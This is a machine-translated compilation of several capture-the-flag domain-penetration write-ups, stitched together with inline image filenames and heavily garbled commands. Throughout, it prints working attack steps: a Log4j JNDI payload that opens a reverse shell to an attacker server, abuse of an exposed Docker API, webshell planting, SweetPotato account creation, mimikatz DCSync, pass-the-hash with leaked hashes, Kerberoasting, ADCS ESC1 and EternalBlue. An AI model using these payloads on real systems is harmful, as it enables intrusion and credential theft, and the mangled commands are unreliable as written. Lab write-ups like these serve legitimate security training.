プロキシと接続を使用してMSFを実行します

Exploit/Multi/Handlerを使用します

ペイロードWindows/MeterPreter/bind_tcpを設定します

RHOST 172.22.6.25を設定します

1049983-20230307110611400-894446148.pngを実行して、自動ログインのパスワードをクロールします

MeterPreter Run Run Windows/Graching/Credentials/Windows_Autologin 1049983-20230307110612244-1529844444.pngここでパスワードをキャッチしておらず、続行できませんでした。

他の人のWPが続行するのを見続ける方法はありません。

パスワードをつかんでYuxuan/Yuxuan7Qbrgz3lを入手してください。

1049983-20230307110613213-1178765707.png

ハッシュパス

Hassidhistory:ユーザーのSID履歴。ユーザーがドメインに移行した後、チケットには前のドメインが配置されているグループのSIDも含まれています。ユーザーは以前のドメインに属していませんが、以前のドメインへの許可がまだあります。

Yuxuanを使用して、管理者のハッシュをキャプチャします

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator'出口1049983-20230307110614013-1199004682.png

プロキシチャインCrackmapexec SMB 172.22.6.25 -U Administrator -H04D93FD6F5F6E4490E0DE23F40A5E9 -D XIAORANG.LAB -X 'タイプユーザー\ Administrator \ Administrator \ flag \ flag03.txt' https://zhuanlan.zhihu.com/p/582525371

命令

不正は、中程度の難易度を持つ射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネット浸透における横方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透に興味深い技術的ポイントを習得するのに役立ちます。射撃場には3つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

FTP、特権標高、AD CS、Kerberos、ドメイン浸透

最初のフラグ

dockerは承認されていません

外部ネットワーク情報を通じて収集された、Dockerが許可されていないことがわかった

https://cloud.tencent.com/developer/article/1744943

1049983-20230307110439373-897625583.pngミラーを表示します

Docker -H TCP3360 //47.92.7.138:2375画像1049983-20230307110440125-1811605968.pngコンテナの閲覧

Docker -H TCP3360 //47.92.7.138:2375 PS -A 1049983-20230307110440734-1869544517.pngコンテナを起動し、ホストディスクを/MNTにマウントします

Docker -H TCP3360 //47.92.7.138:2375 RUN -IT -V/:/MNT -ENTRYPOINT/BIN/BASH/BASH UBUNTU:18.04 1049983-20230307110441418-169215008.png

公開鍵を書きます

を生成します。 Enterを押した後、3つの相互作用があります。最初のものはファイル名で、デフォルトではID_RSAです。変更する必要がある場合は、ファイル名を自分で入力してください。 2番目と3番目は、パスワードと確認パスワードです。これは、将来公開キーを使用するときに入力するパスワードです。それらは通常設定されていません。強力なセキュリティニーズがある場合は、自分で設定できます。最後に、2つのファイルid_rsa、id_rsa.pubが生成されます。pubのエンディングは公開キーであり、もう1つは秘密鍵です

ssh-keygen -t rsa 1049983-20230307110442223-521307798.pngターゲットマシンホストの/root/.ssh/authorized_keysファイルに公開キーを書き込む

cd /mnt/root/.ssh/

Echo 'SSH-RSA AAAAB3NZAC1YC2 ..' Authorized_Keys 1049983-20230307110443198-1135312253.png秘密キーをローカルで直接SSHに直接ログインできます

1049983-20230307110443995-1365905384.pngフラグを調べて、旗がここにないように促します

1049983-20230307110444805-1391905342.png

mysql弱いパスワード

このマシンの開いたポートを表示します

netstat -aptn 1049983-20230307110445835-921831822.png履歴コマンドを確認し、MySQLパスワードが123456であることを確認します。実際、爆破することもできます。

履歴1049983-20230307110446520-658369048.pngアクセスmysqlデータベース

mysql -uroot -p123456

MySQLショーデータベース。

mysqlは秘密を使用します。

MySQLは表を表示します。

mysql select * from f1agggg01から最初のフラグを取得します

1049983-20230307110447244-1248407839.png

secondフラグ

ハンドアロンの浸透

アップロードNPC設定プロキシ、FSCANスキャン172.22.7.0/24

172.22.7.67:8081オープン

172.22.7.13:80オープン

172.22.7.13:22オープン

172.22.7.67:445オープン

172.22.7.31:445オープン

172.22.7.67:21オープン

172.22.7.63360445オープン

172.22.7.67:80オープン

172.22.7.67:139オープン

172.22.7.31:139オープン

172.22.7.6:139オープン

172.22.7.31:135オープン

172.22.7.67:135オープン

172.22.7.6:135オープン

172.22.7.6:88オープン

172.22.7.13:2375オープン

[+] NetInfo:

[*] 172.22.7.6

[ - ] DC02

[ - ] 172.22.7.6

[*] 172.22.7.67 Xiaorang \ win-9bmcsg0s

[*] webtitle:33333333333333:200 len:27170 title:xxデコレーション

[+] NetInfo:

[*] 172.22.7.67

[ - ] win-9bmcsg0s

[ - ] 172.22.7.67

[+] NetInfo:

[*] 172.22.7.31

[ - ] ADCS

[ - ] 172.22.7.31

[*] 172.22.7.31 Xiaorang \ adcs

[*] 172.22.7.6 [+] DC Xiaorang \ dc02

[*] webtitle:333333333333333333:2375 code:404 len:29 title:none

[+] ftp: //172.22.7.67:213360anonymous

[ - ] 1-1p3201024310-l.zip

[ - ] 1-1p320102603c1.zip

[ - ] 1-1p320102609447.zip

[ - ] 1-1P320102615Q3.ZIP

[ - ] 1-1p320102621j7.zip

[ - ] 1-1p320102j30-l.zip

[*] webtitle:33333333333:200 code:200 len:703 title:iis windowsサーバー

[*] webtitle:3333333333333333:8081 code:200 len:4621 title33:会社管理バックエンド

[+] http://172.22.7.13:2375 POC-YAML-DOCKER-API-UNAOTORIZED-RCE

[+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file

[+] http://172.22.7.13:2375 Poc-Yaml-go-pprof-Leak 010-3http://172.22.22.7.67:8081/www.zipバックアップ圧縮パッケージ。減圧後、ダウンロードフォルダーが匿名でログに記録されているFTPの共有ファイルと一致していることがわかりました

したがって、1049983-20230307110448166-1687460793.pngしたがって、WebShellはFTPを介してアップロードできます

1049983-20230307110449088-758201621.pngシェルアドレス

http://172.22.7.67:8081/download/shell.asp 1049983-20230307110449800-657193850.pngジャガイモを直接使用して権利を増やし、sweetpotato.exeをアップロードします

sweetpotato.exe -a 'whoami' 1049983-20230307110450532-2131991191.pngテスト後、3389が有効になります。アカウントを直接追加してログインします

sweetpotato.exe -a 'ネットユーザーdevyn admin@123 /add'

sweetpotato.exe -a 'net localgroup管理者devyn /add' 1049983-20230307110451238-67786808.png Get Flag

1049983-20230307110451947-1217760269.png

ftp認定

この新しく作成されたユーザーはドメインコマンドを実行できないため、ドメインアカウントを照会してからPTHでログインする必要があることに注意してください。パスワードを見つけた場合は、直接ログインできます。実際、シェル内のMimikatzを直接実行してハッシュをつかむことができます。ここのリモートデスクトップは、CMDを使用して実行する方が便利です。

ドメインアカウントをrawったZhangfeng/fenzgtavf6en、ドメインアカウントで再度ログインするには、zhangfeng@xiaorang.labにユーザー名を入力する必要があることに注意してください。

1049983-20230307110452716-534730590.png

shurd 3番目のフラグ

https://wiki.whoamianony.top/active-directory-methodology/shadow-credentials

次のアカウントには、MSDS-Keycredentiallinkプロパティへの書き込み許可があります。

ドメイン管理者アカウント主要な管理者グループアカウントエンタープライズキー管理者グループアカウントを備えたアクティブディレクトリのオブジェクトへの一般的または汎用ライターのアクセス許可は、主要な管理者グループのMSDS-KeycredentiallinkプロパティZhangfengアカウントへの書き込み権限を持っています。

1049983-20230307110453410-454769109.pngADDドメインコントローラーのMSDS-KeyCredentiAllinkプロパティへの影の資格情報

whisker.exe add /target:dc02 $ /domain:xiaorang.lab /dc:dc02.xiaorang.lab 1049983-20230307110454285-1911397589.png919追加の追加が成功した後、プログラムは証明書の認証に基づくTGTチケットを要求するコマンドを促します。プロンプトコマンドが最後に /PTTに追加されることに注意してください

1049983-20230307110455197-1657870621.pngドメインコントローラーアカウントには特権があり、Mimikatzを使用してDCSYNCを実行してドメインハッシュをエクスポートできます

mimikatz.exe 'privilege:3360debug' 'lsadump:dcsync /domain:xiaorang.lab /user3360administrator'出口1049983-20230307110455933-1868157370.png 00000000000000000000000000000000003360BF967C5A0F7256E2EABA589FBD29A382 ADIVISTORATOR@172.22.7.6 1049983-20230307110456914-34394100.png 1049983-20230307110457900-1641963904.png元のリンク: https://zhuanlan.zhihu.com/p/581451146

命令

認定は、中程度の難易度を持つ射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

SOLR、AD CS、SMB、Kerberos、ドメイン浸透

最初のフラグ

log4j rce

外部ネットワークIPをスキャンします

1049983-20230307110517262-27201457.png solrにはlog4jコンポーネントがあることを発見しました。

1049983-20230307110518011-2082945395.pngget /Solr/admin/cores?action=$ {jndi:ldap://1p9bvr.dnslog.cn} http/1.1

HOST: 47.92.113.194:8983

Accept: Application/Json、Text/Plain、 */*

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/106.0.0.0 safari/537.36

X-Requested With: xmlhttprequest

Referer: http://47.92.113.194:8983/solr/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection:閉鎖1049983-20230307110518750-1249723470.pngDNSLOGエコー

1049983-20230307110519454-847276684.pngJNDIリバウンドシェル、VPSで開きます

#悪意のあるクラスの読み込み

Java -jar Jndiexploit -1.3 -snapshot.jar -i 47.103.xx.xxx

#enable監視

NC -LVVP 5555 1049983-20230307110520161-1238749396.pngPAYLOAD

$ {jndi:ldap3360 //47.103.xxx.xxx:1389/basic/reverseshell/47.103.xxx.xxx/5555}リクエストを送信します

/solr/admin/cores?action=$ {jndi:ldap3360//47.103.xxx.xxx:1389/basic/reverseshell/47.103.xxx.xxx/5555} http/1.1

HOST: 47.92.113.194:8983

Accept: Application/Json、Text/Plain、 */*

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/106.0.0.0 safari/537.36

X-Requested With: xmlhttprequest

Referer: http://47.92.113.194:8983/solr/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection: Closeはシェルを正常にリバウンドします

1049983-20230307110520957-1838953280.pngsudoの権利のエスカレーション

Sudo -l 1049983-20230307110521790-296300015.pngSudo Grc - Help 1049983-20230307110522600-1875494381.pngSudo Grc-Pty Whoami 1049983-20230307110523204-310705807.png FIND FLAG

sudo grc -pty find/-nameフラグ* 1049983-20230307110523944-186127248.png出力フラグ

sudo grc -pty cat /root/flag/flag01.txt 1049983-20230307110524763-1879119967.png

2番目のフラグ

イントラネット浸透

エージェントのエージェントとイントラネットをスキャンします。詳細は説明しません(HTTPサービスのセットアップ、NPCとFSCANのダウンロード)

172.22.9.13:445オープン

172.22.9.26:445オープン

172.22.9.47:445オープン

172.22.9.73360445オープン

172.22.9.26:139オープン

172.22.9.47:139オープン

172.22.9.7:139オープン

172.22.9.26:135オープン

172.22.9.13:139オープン

172.22.9.13:135オープン

172.22.9.7:135オープン

172.22.9.26:80オープン

172.22.9.47:80オープン

172.22.9.19:80オープン

172.22.9.47:22オープン

172.22.9.47:21オープン

172.22.9.19:22オープン

172.22.9.7:88オープン

172.22.9.19:8983オープン

[+] NetInfo:

[*] 172.22.9.13

[ - ] CA01

[ - ] 172.22.9.13

[*] 172.22.9.7 [+] DC Xiaorang \ Xiaorang-DC

[*] 172.22.9.26 Xiaorang \ desktop-cbktvmo

[+] NetInfo:

[*] 172.22.9.26

[ - ] desktop-cbktvmo

[ - ] 172.22.9.26

[+] NetInfo:

[*] 172.22.9.7

[ - ] Xiaorang-DC

[ - ] 172.22.9.7

[*] 172.22.9.13 Xiaorang \ Ca01

[*] webtitle:3http://172.22.9.47 code:200 len:10918 title:apache2 ubuntuデフォルトページ:

[*] webtitle:3333333333333:200 len:612 title:welcome nginx!

[*] 172.22.9.47 WorkGroup \ Fileserver Windows 6.1

[*] 172.22.9.47(Windows 6.1)

[*] webtitle:333333333333333333333333:8983 code:3022 len3:0 title:noneジャンプURL: http://172.22.9.99:8983/SOLR/

[*] webtitle:33333333333333:26 code:200 len:703 title:iis windowsサーバー

[*] webtitle:3333333333333333333333333333333333:8983/solr/code:200 len:16555 title:solr adminは、以下の資産を発見しました

172.22.9.19入学IP

172.22.9.7 DC

172.22.9.26ドメインメンバー

172.22.9.47ファイルサーバー

172.22.9.13 CAプロンプトによれば、ファイルサーバーには情報をさらに収集するためにSMB共有が必要です

注:FSCANはSMBの共有モードをスキャンしないため、NMAPを使用してスキャンできます

sudo grc -pty nmap -st -a 172.22.9.47 1049983-20230307110525634-224058230.pngを使用して共有に接続する

proxychains smbclient \\\\ 172.22.9.47 \\ fileshare

監督

人事を取得します。DB

secret \ flag02.txt 1049983-20230307110526730-874103981.png Get Falg02を取得すると、SMBが列挙されている別のプロンプトがあります。しかし、あなたはSPNが何であるか知っていますか?

1049983-20230307110527663-561253035.png

3番目のフラグ

データベースファイルにはいくつかのユーザー名とパスワードがあります

1049983-20230307110528608-1922222552.pngRDPクラック

プロキシチェーンHydra -l user.txt -p pwd.txt 172.22.9.26 RDP -VV -E NS 1049983-20230307110529424-1574261648.png

kerberost攻撃

getUserSpns.pyを使用して、ドメインユーザーの下に登録されているSPNを見つける

Proxychains python3 getuserspns.py -request -dc -ip 172.22.9.7 xiaorang.lab/zhangjian 1049983-20230307110530267-940825500.pnghashオフラインクラッキング、非常に速く、1.txtはハッシュ値です。

hashcat64.exe -m 13100 1.txt rockyou.txt 1049983-20230307110531096-261013704.png get zhangxia/mypass2 @@ 6、アカウントパスワードを使用してリモートでログインします

ドメインアカウントであるため、ユーザー名はzhangxia@xiaorang.labであることに注意してください。ログインした後、管理者の許可ではないため、管理者ディレクトリに直接アクセスしてフラグを見つけることはできません。

1049983-20230307110531761-1694751780.png

ADCS ESC1

certify.exeを使用して脆弱性を見つけます

certify.exe検索/脆弱な1049983-20230307110532827-710567663.pngESC1利用前提条件:

mspki-certificates-name-flag: enrollee_supplies_subject

この証明書テンプレートに基づいて新しい証明書を申請したユーザーが、他のユーザー、つまりドメイン管理者ユーザーを含むユーザーに証明書を申請できることを示します。

pkiextendedkeyusage:クライアント認証

この証明書テンプレートに基づいて生成された証明書を使用して、Active Directoryでコンピューターを認証できることを示します

登録権: NT Authority \認証ユーザー

Active Directoryの認証されたユーザーが、この証明書テンプレートに基づいて生成された新しい証明書を要求できることを示します

ドメイン管理の証明書を申請します

certify.exe request /ca:ca01.xiaorang.lab\xiaorang-ca01-ca /template:'xr manager ' /altname:xiaorang.lab\administrator 1049983-20230307110533809-973528015.png

フォーマットを変換します

OpenSSL PKCS12 -in CERT.PEM -KEYEX -CSP 'Microsoft Enhanced Cryptographic Provider V1.0' -Export -out Cert.PFXリクエストTGT、PTT

証明書をエクスポートして変換するときに入力されたパスワードがないため、ここにパスワードを空白のままにしておくだけです

rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password: /ptt 1049983-20230307110535013-1306229124.pngドメインマネージャーからチケットを取得した後、ハッシュをエクスポートします

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator'出口1049983-20230307110535889-669844448.png

ハッシュパス

PTH 172.22.9.26

プロキシチャインCrackmapexec SMB 172.22.9.26 -U Administrator -H2F1B57EEFB2D152196836B05166666666660 -D Xiaorang.lab -X 'タイプユーザー\管理者\ flag \ flag03.txt'

ProxyChains Python3 wmiexec.py -Hashes 00000000000000000000000000000000000000000000000000000:2F1B57EEFB2D152196836B0516ABEA80管理者@172.22.9.71049983-20230307110538028-1871985575.png元リンク: https://zhuanlan.zhihu.com/p/581487685

ターゲットマシンをオンにした後、ThinkPHPアイコンを備えたログインインターフェイスがあります。直接テストするだけです

ik5rrv4oxzo3033.pngが存在します5.0.23 RCE

l0zukody33i3034.png、PHP-7.4.3の環境を確認しましょう。Disable_Functionsをご覧ください

pcntl_alarm、pcntl_fork、pcntl_waitpid、pcntl_wait、pcntl_wifexited、pcntl_wifstopped、pcntl_wifsignaled、 pcntl_wifcontinued、pcntl_weexitstatus、pcntl_wtermsig、pcntl_wstopsig、pcntl_signal、pcntl_signal_get_ha ndler、pcntl_signal_dispatch、pcntl_get_last_error、pcntl_strerror、pcntl_sigprocmask、pcntl_sigwaitinfo、pcntl_sigtimedwait、pcntl_exec、pcntl_getpriority、pcntl_setpriority、pcntl_asynciment

lefmxmf2zzg3035.pngトランスミッションはすぐに、アリの剣の接続はwww-data許可です。

2dybdct2vo53036.png以前に従った公式アカウントの下でいくつかの記事を見つけました。 Web Security Toolsライブラリは非常に完全な《Linux提权备忘录》です

許可を与えられている猫/などを試してみてください。

l5mlmr1ymxm3037.pngこのウェブサイトはコマンドの標高のリファレンスを提供できます

bgbe1yabpzk3038.pngは、mysql、sudo mysql -e 'を使用して実装できます! cat /root/flag/flag01.txt 'フラグの最初の部分を取得します

43omywaba5m3039.pngifconfigチェックIP

bys3mdkv3xj3040.png fscanをパスアップしてセクションC、/FSCAN_AMD64 -H 172.22.1.1/24でスキャンして、結果は現在のresult.txtになりました。

172.22.1.18:3306オープン

172.22.1.2:88オープン

172.22.1.21:445オープン

172.22.1.18:445オープン

172.22.1.2:445オープン

172.22.1.21:139オープン

172.22.1.18:139オープン

172.22.1.2:139オープン

172.22.1.21:135オープン

172.22.1.18:135オープン

172.22.1.2:135オープン

172.22.1.18:80オープン

172.22.1.15:80オープン

172.22.1.15:22オープン

[*] 172.22.1.2(Windows Server 2016 Datacenter 14393)

[+] 172.22.1.21 MS17-010(Windows 7 Professional 7601サービスパック1)

[+] NetInfo:

[*] 172.22.1.21

[ - ] Xiaorang-Win7

[ - ] 172.22.1.21

[+] NetInfo:

[*] 172.22.1.18

[ - ] Xiaorang-OA01

[ - ] 172.22.1.18

[+] NetInfo:

[*] 172.22.1.2

[ - ] DC01

[ - ] 172.22.1.2

[*] 172.22.1.2 [+] DC Xiaorang \ DC01 Windows Server 2016 DataCenter 14393

[*] webtitle:3333333333333:200 code:200 len:5578 title33:bootstrapマテリアル管理者

[*] 172.22.1.18 Xiaorang \ Xiaorang-OA01 Windows Server 2012 R2 DataCenter 9600

[*] 172.22.1.21 __msbrowse __ \ xiaorang-win7 Windows7 Professional 7601サービスパック1

[*] webtitle:333333333333:3:302 len:0 title:NoneジャンプURL: 3http://172.22.1.18?M=ロギー

[*] webtitle:3333333333333333http://172.22.1.18?M=Login Code:200 LEN3:4012 Title:Signコールコラボレーションオフィスシステム

[+] http://172.22.1.15 POC-YAML-THINKPHP5023-METHOD-RCE POC1

.15は見る必要はありません。21は永遠の青の存在を伴うWin7、18はOAを呼び出すシステムであり、2はドメインコントロールです

NPS+Proxifier Proxyを使用した転送、最初に.18を見てください

pndzxcefyak3041.pngそれを行うには2つの方法があります。 1つ目は、コールOAのファイルアップロード脆弱性をターゲットにすることです。 Master Y4Tackerの記事を参照できます。弱いパスワードadmin/admin123を使用してログインし、Expを入力してください。

2番目の方法は、 /phpmyAdminを使用して直接ルート /ルートをログインし、ログを使用してWebShellに書き込むことです。

dwy4ucpfing3042.png最初のステップは、「一般%」のようなショー変数を実行することです。ログが有効になっているかどうかを確認し、保存されているログの場所を確認します

wx2wq5iloax3043.png秒ステップSET GLOBAL general_log=on;ログをオンにします

3qcksgdro213044.png 3番目のステップは、ログ保存場所を設定するためにグローバルgeneral_log_fileを設定します

z03oex2mrph3045.png最後に '?php eval($ _ post [cmd]);

ut03iym0s3a3046.png次に、21はWin7マシンです。 MS17-010に電話することができます。試した後、ネットワークを離れることはできません。フォワードモニタリングを使用できます。

最初にプロキシをハングアップし、Proxychains MSFConsoleをSocks5トラフィックに移動し、次にExploit/Windows/SMB/MS17_010_ETERNALBLUE=SET PAYLOAD WINDOWS/X64/METERPRETER/BIND_TCP_UUID=SET RHOSTS 172.22.1.21=ExploitiTloit

j5bwwrqm1zo3047.png正のメータープレターシェルを取得した後、次のステップはDCSYNCを使用することです

DCSYNCの導入については、この記事を参照できます。最大の機能は、ドメインコントロールにログインせずにドメイン制御に関するデータを取得できることです。

KiwiをMSFの下に直接ロードし、その後Kiwi_cmd 'lsadump3:3360dcsync /domain:xiaorang.lab /all /csv' exitエクスポートハッシュハッシュをドメイン内のすべてのユーザーに対してハッシュします。

xzabqfaexh23048.pngは.2の前にスキャンされ、445ポートを開きます。 SMBハッシュを使用して、Kaliに付属のCrackMapexecで直接渡します。プロキシチャインCrackmapexec SMB 172.22.1.2 -U管理者-H 10CF89A850FB1CDBE6BB432B859164C8 -D XIAORANG.LAB -X '$ CMD'

haje1iuu2y13049.pngオリジナルリンク:http://119.45.47.125/index.php/2022/11/24/yunjing-4/

0x00イントロ

OSCP浸透スタイル、C2やMSFなどのツールを残すことは難しくありません

0x01情報

TAG: JDBC、Exchange、NTLM、COERCE認証、DCSYNC napv2xepems3012.png

0x02 Recon

ターゲット外部IP39.98.179.149NMAP結果zcf0nwzlb1z3013.png 8000ポートに直接従います。私は以前にすでに80を逃したことがあり、直接合格するものはありません。pawphea1rc03014.png Huaxia ERP、多くの抜け穴があり、エントリポイントは長い間立ち往生しており、後でJDBCを見て、Google検索後に兄の記事を直接検索しました。

FastJsonのハイバージョンマジックトリック-BMTH (bmth666.cn)(http://www.bmth666.cn/bmth_blog/2022/10/19/fastjson%E9%ABA98%E7%89%88%E6%9C%AC%E7%9A%84%A5%A5%87% E6%8a%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%AA)構造ペイロードzivwxuyr0re3015.pngConfigure mysql_fake_server 3x5yycchxzqq3016.png unauthorized + mysqlコネクタJDBCデシリア化の組み合わせパンチダイレクトRCE nbedklispgr3017.pngrce直接買収後の直接取得後kyi51fgprvv3018.png6950660kyi51fgprvv3018.png

0x03エントリポイント:172.22.3.12

SMB SMBは、イントラネットホストをスキャンし、Exchangeキーワード(EXC01)を確認し、i52qwlfsc2l3019.png172.22.3.9にアクセスしようとします。 Exchange mvh1xfvyus13020.pngProxylogonを直接倒して、システム許可を取得するr5rq5ru3mwa3021.png cymhdpuosf33022.pngFLAG02(その後の短い資格情報コレクション)ohwcb4ytjow3023.png

0x04エントリポイント:172.22.3.9

Fast Forward 1:Exchange Machineアカウントのハッシュが収集されました2:同時に、ドメインアカウント資格情報が収集されました:Zhangtongは上記の操作を通じてExchange Machineアカウントのハッシュを収集しました。 Exchange Machineアカウントには、ドメイン内のドメインオブジェクト全体のACL許可が書かれています。次に、dacledit.pyを使用してZhangtongにDCSync権限を追加します(実際、DCSYNCを自分に追加することもできます)3j14y3zjn2x3024.pngDCSYNCとユーザーLumia lzvg4y3en3w3025.pngのハッシュを取得して172.22.3.2.2.3.2.2.cymhdpuosf33022.png-6951cymhdpuosf33022.png10149514951495149514951495149514951013

0x05ファイナル:172.22.3.26

172.22.3.26 4t2idhth31u3026.pngを超えるLumiaユーザーフォルダーにsecret.zipがあります。 attachment, which is full of mobile phone number ipagftkwhtb3027.png Regular operation, convert to a hash in pkzip format and runs the dictionary, and runs out the password gidqi1a5gxb3028.png rruinddbngu3029.png e0d3ffs2e403030.pngflag03 i1prwh2nvzd3031.png rpo5rlkkkmo3032.png

0x06 outro

交換後、著者の当初の意図は、NTLMリレーを使用してDCSYNCアップグレードを完了し、交換システムの許可を取得し、WebDAVをトリガーしてLDAPにリレーすることです。興味がある場合は、以前の記事を読むことができます。著者はまた、Lumiaユーザーのパスワードを変更することを望んでいますが、私は怠け者です。直接PTHオリジナルリンク:https://www.anquanke.com/post/id/286967

0x1情報

image

射撃範囲の住所:https://yunjing.icunqiu.com/ranking/summary?id=bzmfnfpvudu射撃範囲環境は、ウェブからイントラネット、ドメインまでの環境が完了しており、質問を設定するというアイデアは非常に良いです。興味があれば、遊ぶことができます。

0x2 recon

ターゲット外部IP39.98.34.149NMAP結果

\ username :管理者、パスワード:123456

image

コマンド実行image

0x03エントリポイント:172.22.4.36

シェルimage

すばやく通過します:エントリマシンには特別なものがなく、ルートする権限を上げることができません(ルートするために権限を上げる必要はありません)。 stapbpf suidは使用できませんでした

DIFF SUID imageFLAG01DIFF-LINE-FORMAT=%L/DEV/NULL /HOME/FLAG/FLAG01.TXT imageFLAG01

3つのマシン172.22.4.19 fileserver.xiaorang.labの情報を取得します

172.22.4.7 DC01.XIAORANG.LAB

172.22.4.45 win19.xiaorang.lab

flag01プロンプトユーザー名+ rockyou.txtを使用して爆発し、有効な資格情報(プロンプトパスワードの有効期限が切れる)を作成します。システムでマシンアカウントを取得します。

デスクトップimageには、この列に従ってください。現在のユーザーAdrianは、レジストリimage image権利を完全に制御しています

MSFvenomはService Horseを生成し、SAM.BAT imageを実行します

sam.bat image

レジストリを変更してサービスを有効にすると、デスクトップはSAM、セキュリティ、システムimageを取得します。 Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:BA21C629D9FD56AFF10C3E826323E6AB3:33333333:3360

$ Machine.ACC: AAD3B435B51404EEAAD3B435B51404EE:917234367460F3F2817AA4439F97E636image

flag02 imageマシンアカウントを使用したドメイン情報の収集トリガーを強制的にWin19に戻し、DC01 image imageBase64のTGTデコードのTGTを取得するためにDC01.KIRBI imageDCSYNC Get Domain Managements image

0x04 PWING WIN19-172.22.4.45

PSEXEC-FLAG03 image

0x05 DCテイクオーバー-172.22.4.7

ヒントのマスターアルファブグ(0x03-0x04)に感謝します。 https://www.freebuf.com/articles/web/352151.html